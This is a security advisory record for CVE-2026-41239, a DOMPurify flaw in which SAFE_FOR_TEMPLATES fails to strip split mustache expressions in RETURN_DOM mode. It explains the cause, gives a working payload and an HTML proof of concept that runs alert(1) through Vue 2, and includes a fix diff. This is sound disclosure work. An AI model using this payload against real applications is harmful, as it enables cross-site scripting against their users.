CVE-2026-41239: Dompurify DOMPurify Has A SAFE_FOR_TEMPLATES Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-crv5-9vww-q3g8",
  "modified" : "2026-04-27T16:32:12Z",
  "published" : "2026-04-22T17:32:54Z",
  "aliases" : [ "CVE-2026-41239" ],
  "summary" : "DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode",
  "details" : "## Summary\n\n| Field | Value |\n|:------|:------|\n| **Severity** | Medium |\n| **Affected** | DOMPurify `main` at [`883ac15`](https://github.com/cure53/DOMPurify/tree/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6), introduced in v1.0.10 ([`7fc196db`](https://github.com/cure53/DOMPurify/commit/7fc196db0b42a0c360262dba0cc39c9c91bfe1ec)) |\n\n`SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2.\n\n## Technical Details\n\nDOMPurify strips template expressions in two passes:\n\n1. **Per-node** — each text node is checked during the tree walk ([`purify.ts:1179-1191`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1179-L1191)):\n\n```js\n// pass #1: runs on every text node during tree walk\nif (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {\n  content = currentNode.textContent;\n  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -> ' '\n  content = content.replace(ERB_EXPR, ' ');        // <%...%> -> ' '\n  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -> ' '\n  currentNode.textContent = content;\n}\n```\n\n2. **Final string scrub** — after serialization, the full HTML string is scrubbed again ([`purify.ts:1679-1683`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1679-L1683)). This is the safety net that catches expressions that only form after the DOM settles.\n\nThe `RETURN_DOM` path returns before pass #2 ever runs ([`purify.ts:1637-1661`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1637-L1661)):\n\n```js\n// purify.ts (simplified)\n\nif (RETURN_DOM) {\n  // ... build returnNode ...\n  return returnNode;        // <-- exits here, pass #2 never runs\n}\n\n// pass #2: only reached by string-mode callers\nif (SAFE_FOR_TEMPLATES) {\n  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');\n}\nreturn serializedHTML;\n```\n\nThe payload `{<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>}` exploits this:\n\n1. Parser creates: `TEXT(\"{\")` → `<foo>` → `TEXT(\"{payload}\")` → `<foo>` → `TEXT(\"}\")` — no single node contains `{{`, so pass #1 misses it\n2. `<foo>` is not allowed, so DOMPurify removes it but keeps surrounding text\n3. The three text nodes are now adjacent — `.outerHTML` reads them as `{{payload}}`, which Vue 2 compiles and executes\n\n## Reproduce\n\nOpen the following html in any browser and `alert(1)` pops up.\n\n```html\n<!DOCTYPE html>\n<html>\n\n<body>\n  <script src=\"https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js\"></script>\n  <script src=\"https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js\"></script>\n  <script>\n    var dirty = '<div id=\"app\">{<foo></foo>{constructor.constructor(\"alert(1)\")()}<foo></foo>}</div>';\n    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });\n    document.body.appendChild(dom.firstChild);\n    new Vue({ el: '#app' });\n  </script>\n</body>\n\n</html>\n```\n\n## Impact\n\nAny application that sanitizes attacker-controlled HTML with `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `RETURN_DOM_FRAGMENT: true`), then mounts the result into a template-evaluating framework, is vulnerable to XSS.\n\n## Recommendations\n\n### Fix\n\n`normalize()` merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both `RETURN_DOM` and `RETURN_DOM_FRAGMENT`.\n\n```diff\n     if (RETURN_DOM) {\n+      if (SAFE_FOR_TEMPLATES) {\n+        body.normalize();\n+        let html = body.innerHTML;\n+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {\n+          html = stringReplace(html, expr, ' ');\n+        });\n+        body.innerHTML = html;\n+      }\n+\n       if (RETURN_DOM_FRAGMENT) {\n         returnNode = createDocumentFragment.call(body.ownerDocument);\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "dompurify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.10"
      }, {
        "fixed" : "3.4.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41239"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cure53/DOMPurify"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1289", "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T17:32:54Z",
    "nvd_published_at" : "2026-04-23T16:16:26Z"
  }
}